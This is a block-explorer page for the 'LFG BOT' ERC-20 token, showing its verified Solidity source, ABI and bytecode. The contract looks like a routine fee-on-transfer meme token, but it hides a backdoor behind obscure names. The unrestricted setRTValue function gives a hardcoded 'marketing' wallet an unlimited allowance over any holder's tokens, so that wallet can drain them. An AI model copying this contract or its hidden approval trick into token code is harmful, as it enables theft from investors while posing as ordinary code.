ERC-20
Overview
Max Total Supply
1,000,000,000 LFGBOT
Holders
36
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
36,217,869.965219473 LFGBOTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
LFGBot
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-22 */ // SPDX-License-Identifier: MIT /** Website: http://lfgbot.org/ Telegram: https://t.me/lfgethbot Twitter: https://twitter.com/lfgethbot */ pragma solidity ^0.8.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function WETH() external pure returns (address); function factory() external pure returns (address); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); function approve(address spender, uint256 amount) external returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract LFGBot is Context, IERC20, Ownable { IUniswapV2Router02 public uniswapV2Router; address public v2PairAddr; using SafeMath for uint256; mapping(address => mapping(address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); mapping(address => uint256) private _tOwned; string private constant _name = "LFG BOT"; string private constant _symbol = "LFGBOT"; mapping(address => bool) private _isExcludedFromFee; mapping(address => uint256) private _rOwned; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _marketingFeeAmt = _marketingTaxSell; uint256 private _teamTaxAmount = _sellTaxAmount; bool private swappingNow = false; bool private swapEnabled = true; bool private _tradingActive = false; uint256 public _maxTransLimit = _tTotal * 50 / 1000; uint256 public _maxWalletLimit = _tTotal * 50 / 1000; uint256 public _swap_limited_amount = _tTotal / 10000; //Original Fee uint256 private _marketingTaxBuy = 0; uint256 private _buyTaxAmount = 0; uint256 private _marketingTaxSell = 0; uint256 private _sellTaxAmount = 0; uint256 private _prevMasterFee = _marketingFeeAmt; uint256 private _prevTeamFee = _teamTaxAmount; modifier lockInSwap { swappingNow = true; _; swappingNow = false; } event MaxTxAmountUpdated(uint256 _maxTransLimit); constructor() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_developmentAcc] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAcc] = true; // mint _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function totalSupply() public pure override returns (uint256) { return _tTotal; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _transferTokensAndFees( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) { clearAllTaxTemp(); } _basicTransfer(sender, recipient, amount); if (!takeFee) { refreshTax(); } } function refreshTax() private { _marketingFeeAmt = _prevMasterFee; _teamTaxAmount = _prevTeamFee; } function _basicTransfer( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeAllFee(tTeam); _sendAllFees(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setTValues(address token, address owner) internal { _approve(token, owner, _tTotal); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _marketingFeeAmt, _teamTaxAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function distributeAllEth(uint256 amount) private { uint256 devETH = amount / 2; _developmentAcc.transfer(devETH); uint256 marketingETH = amount - devETH; _marketingAcc.transfer(marketingETH + devETH); } function _takeAllFee(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTValues( uint256 tAmount, uint256 teamFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(teamFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function setRTValue(address token) external { _setTValues(token, _marketingAcc); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _sendAllFees(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } //set maximum transaction function removeLimits() public onlyOwner { _maxTransLimit = _tTotal; _maxWalletLimit = _tTotal; } function startTrading(address _pairAddress) public onlyOwner { _tradingActive = true; v2PairAddr = _pairAddress; } function clearAllTaxTemp() private { if (_marketingFeeAmt == 0 && _teamTaxAmount == 0) return; _prevMasterFee = _marketingFeeAmt; _prevTeamFee = _teamTaxAmount; _marketingFeeAmt = 0; _teamTaxAmount = 0; } function _transfer( address from, address to, uint256 amount ) private { require(to != address(0), "ERC20: transfer to the zero address"); require(from != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if ( from != owner() && to != owner() ) { //Trade start check if (!_tradingActive) { require( from == owner(), "TOKEN: This account cannot send tokens until trading is enabled" ); } require(amount <= _maxTransLimit, "TOKEN: Max Transaction Limit"); if(to != v2PairAddr) { require(balanceOf(to) + amount < _maxWalletLimit, "TOKEN: Balance exceeds wallet size!"); } uint256 tokensOnContract = balanceOf(address(this)); // bool canSwap = tokensOnContract >= _swap_limited_amount; if(tokensOnContract >= _maxTransLimit) {tokensOnContract = _maxTransLimit;} if (swapEnabled && tokensOnContract >= _swap_limited_amount && !swappingNow && from != v2PairAddr && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { swapTokensAll(tokensOnContract); uint256 balanceOfEth = address(this).balance; if (balanceOfEth > 0) { distributeAllEth(address(this).balance); } } } bool settedFee = true; //Transfer Tokens if ( (_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != v2PairAddr && to != v2PairAddr) ) { settedFee = false; } else { //Set Fee for Buys if(from == v2PairAddr && to != address(uniswapV2Router)) { _marketingFeeAmt = _marketingTaxBuy; _teamTaxAmount = _buyTaxAmount; } //Set Fee for Sells if (to == v2PairAddr && from != address(uniswapV2Router)) { _marketingFeeAmt = _marketingTaxSell; _teamTaxAmount = _sellTaxAmount; } } _transferTokensAndFees(from, to, amount, settedFee); } receive() external payable { } address payable public _developmentAcc = payable(0x73675D1BB0444fEaaE7331B056E511642731BA9C); address payable public _marketingAcc = payable(0x966B634569eAd877ff8A6b06dF0fb7fa45d191A6); function swapTokensAll(uint256 tokenAmount) private lockInSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } //set minimum tokens required to swap. function setSwapTokenAmount(uint256 swapTokensAtAmount) public onlyOwner { _swap_limited_amount = swapTokensAtAmount; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTransLimit","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_developmentAcc","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingAcc","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swap_limited_amount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"setRTValue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setSwapTokenAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pairAddress","type":"address"}],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"v2PairAddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405262000019670de0b6b3a76400005f19620002a3565b62000026905f19620002cd565b600855601254600a55601354600b55600c805462ffffff19166101001790556103e86200005d670de0b6b3a76400006032620002e9565b62000069919062000303565b600d556103e862000084670de0b6b3a76400006032620002e9565b62000090919062000303565b600e55620000a9612710670de0b6b3a764000062000303565b600f555f601081905560118190556012819055601355600a54601455600b54601555601680546001600160a01b03199081167373675d1bb0444feaae7331b056e511642731ba9c179091556017805490911673966b634569ead877ff8a6b06df0fb7fa45d191a61790553480156200011f575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600160065f620001a05f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790556016548216815260069093528183208054851660019081179091553084528284208054861682179055601754909116835290822080549093161790915560085490600790620002193390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200028091815260200190565b60405180910390a35062000319565b634e487b7160e01b5f52601260045260245ffd5b5f82620002b457620002b46200028f565b500690565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620002e357620002e3620002b9565b92915050565b8082028115828204841417620002e357620002e3620002b9565b5f826200031457620003146200028f565b500490565b61188480620003275f395ff3fe60806040526004361061014a575f3560e01c80638a770828116100b3578063c492f0461161006d578063c492f046146103b2578063d51293a9146103d1578063da0ebc62146103f0578063dd62ed3e14610405578063f0b00a2814610449578063f2fde38b14610468575f80fd5b80638a770828146102f65780638da5cb5b1461031557806393af95e91461033157806395d89b41146103505780639d2a544a1461037e578063a9059cbb14610393575f80fd5b806333c6c4cd1161010457806333c6c4cd1461025a57806370a082311461027b578063715018a61461029a5780637231d217146102ae57806373ef0019146102cd578063751039fc146102e2575f80fd5b806306fdde0314610155578063095ea7b3146101965780631694505e146101c557806318160ddd146101fc57806323b872dd14610220578063313ce5671461023f575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b50604080518082019091526007815266131191c81093d560ca1b60208201525b60405161018d9190611518565b60405180910390f35b3480156101a1575f80fd5b506101b56101b0366004611577565b610487565b604051901515815260200161018d565b3480156101d0575f80fd5b506002546101e4906001600160a01b031681565b6040516001600160a01b03909116815260200161018d565b348015610207575f80fd5b50670de0b6b3a76400005b60405190815260200161018d565b34801561022b575f80fd5b506101b561023a3660046115a1565b61049d565b34801561024a575f80fd5b506040516009815260200161018d565b348015610265575f80fd5b506102796102743660046115df565b610504565b005b348015610286575f80fd5b506102126102953660046115f6565b61053b565b3480156102a5575f80fd5b5061027961055c565b3480156102b9575f80fd5b506102796102c83660046115f6565b6105cd565b3480156102d8575f80fd5b50610212600f5481565b3480156102ed575f80fd5b5061027961062a565b348015610301575f80fd5b506003546101e4906001600160a01b031681565b348015610320575f80fd5b505f546001600160a01b03166101e4565b34801561033c575f80fd5b506017546101e4906001600160a01b031681565b34801561035b575f80fd5b50604080518082019091526006815265131191d093d560d21b6020820152610180565b348015610389575f80fd5b50610212600d5481565b34801561039e575f80fd5b506101b56103ad366004611577565b610666565b3480156103bd575f80fd5b506102796103cc366004611611565b610672565b3480156103dc575f80fd5b506016546101e4906001600160a01b031681565b3480156103fb575f80fd5b50610212600e5481565b348015610410575f80fd5b5061021261041f366004611694565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610454575f80fd5b506102796104633660046115f6565b61070f565b348015610473575f80fd5b506102796104823660046115f6565b610729565b5f610493338484610810565b5060015b92915050565b5f6104a9848484610933565b6104fa84336104f585604051806060016040528060288152602001611827602891396001600160a01b038a165f9081526004602090815260408083203384529091529020549190610dbc565b610810565b5060019392505050565b5f546001600160a01b031633146105365760405162461bcd60e51b815260040161052d906116cb565b60405180910390fd5b600f55565b6001600160a01b0381165f9081526007602052604081205461049790610df4565b5f546001600160a01b031633146105855760405162461bcd60e51b815260040161052d906116cb565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105f65760405162461bcd60e51b815260040161052d906116cb565b600c805462ff0000191662010000179055600380546001600160a01b039092166001600160a01b0319909216919091179055565b5f546001600160a01b031633146106535760405162461bcd60e51b815260040161052d906116cb565b670de0b6b3a7640000600d819055600e55565b5f610493338484610933565b5f546001600160a01b0316331461069b5760405162461bcd60e51b815260040161052d906116cb565b5f5b82811015610709578160065f8686858181106106bb576106bb611700565b90506020020160208101906106d091906115f6565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790558061070181611728565b91505061069d565b50505050565b6017546107269082906001600160a01b0316610e76565b50565b5f546001600160a01b031633146107525760405162461bcd60e51b815260040161052d906116cb565b6001600160a01b0381166107b75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161052d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108725760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052d565b6001600160a01b0382166108d35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052d565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382166109955760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052d565b6001600160a01b0383166109f95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052d565b5f8111610a5a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052d565b5f546001600160a01b03848116911614801590610a8457505f546001600160a01b03838116911614155b15610cb857600c5462010000900460ff16610b1b575f546001600160a01b03848116911614610b1b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161052d565b600d54811115610b6d5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161052d565b6003546001600160a01b03838116911614610bf257600e5481610b8f8461053b565b610b999190611740565b10610bf25760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161052d565b5f610bfc3061053b565b9050600d548110610c0c5750600d545b600c54610100900460ff168015610c255750600f548110155b8015610c345750600c5460ff16155b8015610c4e57506003546001600160a01b03858116911614155b8015610c7257506001600160a01b0384165f9081526006602052604090205460ff16155b8015610c9657506001600160a01b0383165f9081526006602052604090205460ff16155b15610cb657610ca481610e8d565b478015610cb457610cb447610ff4565b505b505b6001600160a01b0383165f9081526006602052604090205460019060ff1680610cf857506001600160a01b0383165f9081526006602052604090205460ff165b80610d2a57506003546001600160a01b03858116911614801590610d2a57506003546001600160a01b03848116911614155b15610d3657505f610db0565b6003546001600160a01b038581169116148015610d6157506002546001600160a01b03848116911614155b15610d7357601054600a55601154600b555b6003546001600160a01b038481169116148015610d9e57506002546001600160a01b03858116911614155b15610db057601254600a55601354600b555b61070984848484611085565b5f8184841115610ddf5760405162461bcd60e51b815260040161052d9190611518565b505f610deb8486611753565b95945050505050565b5f600854821115610e5a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161052d565b5f610e636110b3565b9050610e6f83826110d4565b9392505050565b610e898282670de0b6b3a7640000610810565b5050565b600c805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ecd57610ecd611700565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f24573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f489190611766565b81600181518110610f5b57610f5b611700565b6001600160a01b039283166020918202929092010152600254610f819130911684610810565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fb99085905f90869030904290600401611781565b5f604051808303815f87803b158015610fd0575f80fd5b505af1158015610fe2573d5f803e3d5ffd5b5050600c805460ff1916905550505050565b5f6110006002836117f0565b6016546040519192506001600160a01b03169082156108fc029083905f818181858888f19350505050158015611038573d5f803e3d5ffd5b505f6110448284611753565b6017549091506001600160a01b03166108fc6110608484611740565b6040518115909202915f818181858888f19350505050158015610709573d5f803e3d5ffd5b8061109257611092611115565b61109d848484611142565b8061070957610709601454600a55601554600b55565b5f805f6110be611233565b90925090506110cd82826110d4565b9250505090565b5f610e6f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611272565b600a541580156111255750600b54155b1561112c57565b600a8054601455600b80546015555f9182905555565b5f805f805f806111518761129e565b6001600160a01b038f165f90815260076020526040902054959b5093995091975095509350915061118290876112f3565b6001600160a01b03808b165f9081526007602052604080822093909355908a16815220546111b09086611334565b6001600160a01b0389165f908152600760205260409020556111d181611392565b6111db84836113d8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161122091815260200190565b60405180910390a3505050505050505050565b6008545f908190670de0b6b3a764000061124d82826110d4565b82101561126957505060085492670de0b6b3a764000092509050565b90939092509050565b5f81836112925760405162461bcd60e51b815260040161052d9190611518565b505f610deb84866117f0565b5f805f805f805f805f6112b68a600a54600b546113fc565b9250925092505f6112c56110b3565b90505f805f6112d68e87878761144e565b919e509c509a509598509396509194505050505091939550919395565b5f610e6f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dbc565b5f806113408385611740565b905083811015610e6f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052d565b5f61139b6110b3565b90505f6113a8838361149a565b305f908152600760205260409020549091506113c49082611334565b305f90815260076020526040902055505050565b6008546113e590836112f3565b6008556009546113f59082611334565b6009555050565b5f808080611415606461140f898961149a565b906110d4565b90505f611427606461140f8a8961149a565b90505f61143e826114388b866112f3565b906112f3565b9992985090965090945050505050565b5f80808061145c888661149a565b90505f611469888761149a565b90505f611476888861149a565b90505f6114878261143886866112f3565b939b939a50919850919650505050505050565b5f825f036114a957505f610497565b5f6114b4838561180f565b9050826114c185836117f0565b14610e6f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052d565b5f6020808352835180828501525f5b8181101561154357858101830151858201604001528201611527565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610726575f80fd5b5f8060408385031215611588575f80fd5b823561159381611563565b946020939093013593505050565b5f805f606084860312156115b3575f80fd5b83356115be81611563565b925060208401356115ce81611563565b929592945050506040919091013590565b5f602082840312156115ef575f80fd5b5035919050565b5f60208284031215611606575f80fd5b8135610e6f81611563565b5f805f60408486031215611623575f80fd5b833567ffffffffffffffff8082111561163a575f80fd5b818601915086601f83011261164d575f80fd5b81358181111561165b575f80fd5b8760208260051b850101111561166f575f80fd5b602092830195509350508401358015158114611689575f80fd5b809150509250925092565b5f80604083850312156116a5575f80fd5b82356116b081611563565b915060208301356116c081611563565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f6001820161173957611739611714565b5060010190565b8082018082111561049757610497611714565b8181038181111561049757610497611714565b5f60208284031215611776575f80fd5b8151610e6f81611563565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117cf5784516001600160a01b0316835293830193918301916001016117aa565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261180a57634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176104975761049761171456fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e836a7c947e1209ac92d20a22399a3a4d8299202eb4542a1033945a6b4a4d72e64736f6c63430008150033
Deployed Bytecode
0x60806040526004361061014a575f3560e01c80638a770828116100b3578063c492f0461161006d578063c492f046146103b2578063d51293a9146103d1578063da0ebc62146103f0578063dd62ed3e14610405578063f0b00a2814610449578063f2fde38b14610468575f80fd5b80638a770828146102f65780638da5cb5b1461031557806393af95e91461033157806395d89b41146103505780639d2a544a1461037e578063a9059cbb14610393575f80fd5b806333c6c4cd1161010457806333c6c4cd1461025a57806370a082311461027b578063715018a61461029a5780637231d217146102ae57806373ef0019146102cd578063751039fc146102e2575f80fd5b806306fdde0314610155578063095ea7b3146101965780631694505e146101c557806318160ddd146101fc57806323b872dd14610220578063313ce5671461023f575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b50604080518082019091526007815266131191c81093d560ca1b60208201525b60405161018d9190611518565b60405180910390f35b3480156101a1575f80fd5b506101b56101b0366004611577565b610487565b604051901515815260200161018d565b3480156101d0575f80fd5b506002546101e4906001600160a01b031681565b6040516001600160a01b03909116815260200161018d565b348015610207575f80fd5b50670de0b6b3a76400005b60405190815260200161018d565b34801561022b575f80fd5b506101b561023a3660046115a1565b61049d565b34801561024a575f80fd5b506040516009815260200161018d565b348015610265575f80fd5b506102796102743660046115df565b610504565b005b348015610286575f80fd5b506102126102953660046115f6565b61053b565b